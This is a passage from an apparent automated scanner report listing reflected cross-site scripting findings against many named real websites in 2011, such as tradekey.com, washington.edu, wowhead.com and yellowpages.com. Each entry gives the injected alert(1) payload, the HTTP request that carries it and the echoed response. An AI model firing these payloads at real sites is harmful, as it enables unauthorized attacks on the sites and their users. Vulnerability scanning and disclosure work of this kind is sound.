The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad228"><script>alert(1)</script>abbf960315 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoad228"><script>alert(1)</script>abbf960315 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thirdage.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Drupal-Cache: MISS
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 02 Apr 2011 13:41:56 +0000
Cache-Control: public, max-age=600
Set-Cookie: SESSfa98039aa221fd92e5bcd6d7e3f1cdbb=194f49e907f67adbbd4334f28a385153; expires=Mon, 25 Apr 2011 17:15:16 GMT; path=/; domain=.thirdage.com
Vary: Cookie,Accept-Encoding
Web-Head: web09.advomatic.com
Content-Type: text/html; charset=utf-8
Content-Length: 30060
Date: Sat, 02 Apr 2011 13:41:56 GMT
X-Varnish: 635034219
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" di
...[SNIP]...
<form action="/user/login?destination=/favicon.icoad228"><script>alert(1)</script>abbf960315" method="post" id="user-login">
...[SNIP]...

6.98. http://www.thomasnet.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thomasnet.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8619e"><script>alert(1)</script>1a24f501080 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico8619e"><script>alert(1)</script>1a24f501080 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thomasnet.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:59:57 GMT
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7a PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: _tnetses=4d972bdd7eed3; path=/; domain=.thomasnet.com
Set-Cookie: _usrvst=1; expires=Mon, 02-Apr-2012 04:00:00 GMT; path=/; domain=.thomasnet.com
Set-Cookie: tnuind=%7C; path=/; domain=.thomasnet.com
Set-Cookie: am1vst=1; expires=Mon, 02-Apr-2012 04:00:00 GMT; path=/; domain=.thomasnet.com
Set-Cookie: am1rm=PP; expires=Mon, 02-Apr-2012 04:00:00 GMT; path=/; domain=.thomasnet.com
Set-Cookie: tbv2ns=Y; path=/; domain=.thomasnet.com
Set-Cookie: tbv2showPushDown=Y; path=/; domain=.thomasnet.com
Set-Cookie: am1cmp=1; path=/; domain=.thomasnet.com
Set-Cookie: referq=deleted; expires=Fri, 02-Apr-2010 13:59:56 GMT; path=/; domain=.thomasnet.com
Set-Cookie: UUS=4d972bdd7f6a8; path=/; domain=.thomasnet.com
Set-Cookie: us=4d972bdd7f6a8; path=/; domain=.thomasnet.com
Set-Cookie: GID=G13017527975219; expires=Mon, 02-Apr-2012 04:00:00 GMT; path=/; domain=.thomasnet.com
Set-Cookie: tinid=deleted; expires=Fri, 02-Apr-2010 13:59:56 GMT; path=/; domain=.thomasnet.com
Set-Cookie: UUID=deleted; expires=Fri, 02-Apr-2010 13:59:56 GMT; path=/; domain=.thomasnet.com
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 21410

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-US">
<head>
<META name="y_key" content="6e6d842e318a7ef3">
<meta name="verify-v1"
...[SNIP]...
<a href="/print/screen/favicon.ico8619e"><script>alert(1)</script>1a24f501080" onClick="dcsExternal('/link.html','TINCATL1=TNET&TINCATL2=CLICK_PRINTSCREEN','www.thomasnet.com');" target="print" rel="nofollow">
...[SNIP]...

6.99. http://www.tradekey.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tradekey.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77a87'-alert(1)-'8bb423fecbf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico77a87'-alert(1)-'8bb423fecbf HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.tradekey.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:57:15 GMT
Server: Apache
Set-Cookie: PHPSESSID=bfc0f1346d753424ab94cfa33828a2d4; path=/; domain=.tradekey.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 21900

<html dir=ltr>
<head>
<title>Error 404 Page not found, Business to Business marketplace, Manufacturer directory & import export</title>
<link href="http://imgusr.tradekey.com/domains/tradekey.com/t
...[SNIP]...
Date();
   var d = t.getDate() + "-" + t.getMonth()+1 + "-" + t.getFullYear();

   if (seconds > 1 || d == "20-01-2011")
       tk_track_ga_event('IT', 'Page Render Time - www.tradekey.com', '/favicon.ico77a87'-alert(1)-'8bb423fecbf', seconds);
}
var old_load_fx = window.onload;
window.onload = function()
{
   track_page_render_time();
   if (old_load_fx)
       old_load_fx();
}
</script>
...[SNIP]...

6.100. http://www.trails.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.trails.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ece72'-alert(1)-'ee1533a6222 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoece72'-alert(1)-'ee1533a6222 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.trails.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Content-Type: text/html; charset=utf-8
Content-Length: 21954
Expires: Sat, 02 Apr 2011 13:38:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 02 Apr 2011 13:38:51 GMT
Connection: close
Set-Cookie: ASP.NET_SessionId=ahv4dy55qvwmlcyvaiur4g45; domain=.trails.com; path=/; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphpr
...[SNIP]...
ils.com',
                   jscdn: 'http://cdn2-www.trails.com',
                   logout: 'https://ssl.trails.com/logout.aspx',
                   login: 'https://ssl.trails.com/login.aspx?r=http%3a%2f%2fwww.trails.com%3a80%2ffavicon.icoece72'-alert(1)-'ee1533a6222',
                   signup: 'https://ssl.trails.com/subscribe.aspx',
                   account: 'https://ssl.trails.com/myaccount/',
                   profile: 'http://www.trails.com/mytrails/?p=profile'
               },
               user: {
                   name:
...[SNIP]...

6.101. http://www.travelpod.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.travelpod.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7550a"><script>alert(1)</script>10b5dcdc5a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico7550a"><script>alert(1)</script>10b5dcdc5a1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.travelpod.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:11:07 GMT
Server: Apache
Content-language: "
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 7980

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head> <title>Oh, Ohhh ...</title> <link rel="shortcut icon" href="/favicon.ico"/>
<script type="text/javascript">function L
...[SNIP]...
<a href="http://www.travelpod.ca/favicon.ico7550a"><script>alert(1)</script>10b5dcdc5a1">
...[SNIP]...

6.102. http://www.videojug.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.videojug.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6eb1'-alert(1)-'18394e848c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /f6eb1'-alert(1)-'18394e848c1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.videojug.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 20692
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: VideoJugUser=YnFn6uAuzgEkAAAAYWEzY2U5ZjgtYzNkYi02MmYxLTFiNTAtZmYwMDA4Y2RiZjU10; expires=Mon, 01-Apr-2013 13:57:58 GMT; path=/; HttpOnly
Set-Cookie: abTest=0; expires=Sat, 30-Apr-2011 13:57:58 GMT; path=/
Set-Cookie: ASP.NET_SessionId=gyrhnaenatluzrnn3li1fr55; path=/; HttpOnly
Set-Cookie: VjPrefEd=cc=US&ed=3; expires=Tue, 02-Apr-2013 13:57:58 GMT; path=/
Set-Cookie: AuthCookie=false; expires=Mon, 04-Apr-2011 13:57:58 GMT; path=/
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 13:57:57 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<a class="m mixFlag big UK" href="/chooseedition?ReturnURL=%2ferror%2ferror404%3faspxerrorpath%3d%252froute.ashx%252ff6eb1'-alert(1)-'18394e848c1&NewEdition=2" >
...[SNIP]...

6.103. http://www.videosurf.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.videosurf.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88f07"><script>alert(1)</script>33281413b15 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico88f07"><script>alert(1)</script>33281413b15 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.videosurf.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:39:23 GMT
Server: Apache/2.2.16 (Ubuntu)
X-Powered-By: PHP/5.3.3-1ubuntu9.3
Set-Cookie: PHPSESSID=rm91d0sieefthupdu4pqg3oq33; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: vsb=95; expires=Sun, 01-Apr-2012 13:39:23 GMT; path=/; domain=.videosurf.com
Set-Cookie: VSID=4d97270b593c3; expires=Sun, 01-Apr-2012 13:39:23 GMT; path=/; domain=.videosurf.com
Set-Cookie: luri=L2Zhdmljb24uaWNvODhmMDciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD4zMzI4MTQxM2IxNQ%3D%3D; path=/; domain=.videosurf.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xm
...[SNIP]...
<meta property="og:url" content="http://www.videosurf.com/favicon.ico88f07"><script>alert(1)</script>33281413b15"/>
...[SNIP]...

6.104. http://www.walletpop.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.walletpop.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc0cc"><script>alert(1)</script>d118f04eeae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bc0cc"><script>alert(1)</script>d118f04eeae HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.walletpop.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:20:26 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-173_193_214_243=-%3A%3A-%3A%3A%3A%3A%3A%3A%3A%3A-; expires=Sun, 03-Apr-2011 14:20:26 GMT; path=/
Content-Type: text/html
Content-Length: 34369

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="h
...[SNIP]...
<link rel="canonical" href="http://www.walletpop.com/bc0cc"><script>alert(1)</script>d118f04eeae/"/>
...[SNIP]...

6.105. http://www.washington.edu/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washington.edu
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload caf60<img%20src%3da%20onerror%3dalert(1)>2b58733a9f9 was submitted in the REST URL parameter 1. This input was echoed as caf60<img src=a onerror=alert(1)>2b58733a9f9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /favicon.icocaf60<img%20src%3da%20onerror%3dalert(1)>2b58733a9f9 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.washington.edu
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:19:39 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1174
Content-Type: text/html

<html>
<head><title>URL Not Found</title></head>
<body>
<h1>URL Not Found</h1>
<b>http://www.washington.edu/favicon.icocaf60<img src=a onerror=alert(1)>2b58733a9f9</b> was not found or is no lon
...[SNIP]...
<br>
Reason: File does not exist: /www/world/favicon.icocaf60<img src=a onerror=alert(1)>2b58733a9f9.</br>
...[SNIP]...

6.106. http://www.wowhead.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wowhead.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 919c3"><script>alert(1)</script>12d36552cd5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico919c3"><script>alert(1)</script>12d36552cd5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.wowhead.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:33:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-cache, must-revalidate, max-age=604800
Expires: Sat, 09 Apr 2011 13:33:32 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8308

<!DOCTYPE html>
<html>
<head>

<title>Page Not Found - Wowhead</title>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="It appears that the
...[SNIP]...
<body class="favicon_ico919c3"><script>alert(1)</script>12d36552cd5">
...[SNIP]...

6.107. http://www.wowhead.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wowhead.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6a6c7'-alert(1)-'d930151ee15 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico6a6c7'-alert(1)-'d930151ee15 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.wowhead.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:33:33 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-cache, must-revalidate, max-age=604800
Expires: Sat, 09 Apr 2011 13:33:33 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8122

<!DOCTYPE html>
<html>
<head>

<title>Page Not Found - Wowhead</title>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="description" content="It appears that the
...[SNIP]...
<![CDATA[
var g_pageInfo = { articleUrl: 'favicon.ico6a6c7'-alert(1)-'d930151ee15', editAccess: 574 };
//]]>
...[SNIP]...

6.108. http://www.yakaz.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.yakaz.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d0b98<img%20src%3da%20onerror%3dalert(1)>861ec7fe5e5 was submitted in the REST URL parameter 1. This input was echoed as d0b98<img src=a onerror=alert(1)>861ec7fe5e5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /favicon.icod0b98<img%20src%3da%20onerror%3dalert(1)>861ec7fe5e5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.yakaz.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Yakaz Web Server
Date: Sat, 02 Apr 2011 13:59:51 GMT
Content-Length: 93174
Content-Type: text/html; charset=utf-8
Set-Cookie: il=en; expires=Sun, 01-Apr-2012 13:59:51 GMT; path=/; domain=.yakaz.com
Set-Cookie: YSID=63238dac50279b2939e0c29adb0e3dea; path=/; domain=.yakaz.com
Set-Cookie: infos=deleted; expires=Fri, 02-Apr-2010 13:59:50 GMT; path=/; domain=.yakaz.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:v="urn:schemas-microsoft-co
...[SNIP]...
<h1>Favicon.icod0b98<img Src=a Onerror=alert(1)>861ec7fe5e5</h1>
...[SNIP]...

6.109. http://www.yellowpages.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.yellowpages.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54dd2</script><a>f1938ad83fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /54dd2</script><a>f1938ad83fa HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.yellowpages.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 12:44:27 GMT
Status: 200 OK
Connection: keep-alive
Server: nginx
Content-Type: text/html; charset=utf-8
ETag: "efc9b484b7207b82659734d8cfebfe0f"
Cache-Control: no-cache
Set-Cookie: search_terms=script%3E%3Ca%3Ef1938ad83fa; path=/
Set-Cookie: parity_analytics=---+%0A%3Avisit_id%3A+jh14baofnio57yzbozczk0ikdipjq%0A%3Avisit_start_time%3A+2011-04-02+12%3A44%3A26.842806+%2B00%3A00%0A%3Alast_page_load%3A+2011-04-02+12%3A44%3A26.842811+%2B00%3A00%0A; path=/; expires=Wed, 02-Apr-2036 12:44:26 GMT
Set-Cookie: vrid=de53bf40-3f54-012e-53bd-00163ebee541; domain=.yellowpages.com; path=/; expires=Sat, 02-Apr-2016 12:44:26 GMT
Set-Cookie: _parity_session=BAh7BzoPc2Vzc2lvbl9pZCIlNGUzNjI4OGEyMDYyYzdkMDlhODhhYjk2Njk3ODhhYjM6E2RleF9zZXNzaW9uX2lkSSIpZGU1NTdmZTAtM2Y1NC0wMTJlLTUzYmUtMDAxNjNlYmVlNTQxBjoGRUY%3D--a614b3974beb8c37155b66aa649d5cc0df7037fd; path=/; HttpOnly
Set-Cookie: b=10011; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
X-Urid: d-ddea1480-3f54-012e-fd15-00163ebee541
Expires: Sat, 02 Apr 2011 12:44:26 GMT
Content-Length: 324385

<!DOCTYPE html>
<html>
<head>

<title>No Location Found - YP.com</title>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="" name="description" />
<meta content="" n
...[SNIP]...
aq.push(['_setAllowAnchor',true]);
_gaq.push(['_setDomainName', ".yellowpages.com"]);
_gaq.push(['_setCustomVar', 1, 'trial_id', "relevancyControl1", 1]);

_gaq.push(['_trackPageview','/54dd2</script><a>f1938ad83fa?gasearch=script%3E%3Ca%3Ef1938ad83fa']);

(function() {
var s, ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = "http://www.goo
...[SNIP]...

6.110. http://www.yellowpages.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.yellowpages.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c496d<img%20src%3da%20onerror%3dalert(1)>63985e825a0 was submitted in the REST URL parameter 1. This input was echoed as c496d<img src=a onerror=alert(1)>63985e825a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /c496d<img%20src%3da%20onerror%3dalert(1)>63985e825a0 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.yellowpages.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 12:44:41 GMT
Status: 200 OK
Connection: keep-alive
Server: nginx
Content-Type: text/html; charset=utf-8
X-Runtime: 706
ETag: "3e44fe57bd9f1ca7ae2413ad405470b5"
Cache-Control: no-cache
Set-Cookie: parity_analytics=---+%0A%3Avisit_id%3A+he7kp7sk7c48bgofxgtgaayor1ghp%0A%3Avisit_start_time%3A+2011-04-02+12%3A44%3A41.415141+%2B00%3A00%0A%3Alast_page_load%3A+2011-04-02+12%3A44%3A41.415143+%2B00%3A00%0A; path=/; expires=Wed, 02-Apr-2036 12:44:41 GMT
Set-Cookie: vrid=e7021120-3f54-012e-d795-00237da0b95e; domain=.yellowpages.com; path=/; expires=Sat, 02-Apr-2016 12:44:41 GMT
Set-Cookie: _parity_session=BAh7BzoPc2Vzc2lvbl9pZCIlMDU2NjM2ZjQwZTU5NzkxM2ZmODBhZDg1OTkwOWNhYTM6E2RleF9zZXNzaW9uX2lkSSIpZTcwMzkwNjAtM2Y1NC0wMTJlLWQ3OTYtMDAyMzdkYTBiOTVlBjoGRUY%3D--9e7ac88334df5357779cb76d6b268bfc634f7ddf; path=/; HttpOnly
Set-Cookie: b=10010; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
X-Urid: d-e6a5db50-3f54-012e-19bb-00237da0b95e
Expires: Sat, 02 Apr 2011 12:44:40 GMT
Content-Length: 322976

<!DOCTYPE html>
<html>
<head>

<title>C496d<Img Src=A Onerror=Alert(1)>63985e825a0 - YP.COM</title>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="C496d<Img Sr
...[SNIP]...
<h3 class="title">C496d<Img Src=A Onerror=Alert(1)>63985e825a0 Near You</h3>
...[SNIP]...

6.111. http://www.yourdictionary.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.yourdictionary.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbb5b"><script>alert(1)</script>8beaa66c83f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icobbb5b"><script>alert(1)</script>8beaa66c83f HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.yourdictionary.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:58:33 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.3.3
Cache-Control: max-age=5184000
Expires: Wed, 01 Jun 2011 13:58:33 GMT
X-LTK-Server: yd-ec2-www
Content-Type: text/html
Content-Length: 8919

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://www.yourdictionary.com/favicon.icobbb5b"><script>alert(1)</script>8beaa66c83f" />
...[SNIP]...

6.112. http://www.kcom.com/contact-us/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kcom.com
Path:	/contact-us/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b99b"><script>alert(1)</script>ca9c0d3513d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /contact-us/ HTTP/1.1
Host: www.kcom.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=4b99b"><script>alert(1)</script>ca9c0d3513d
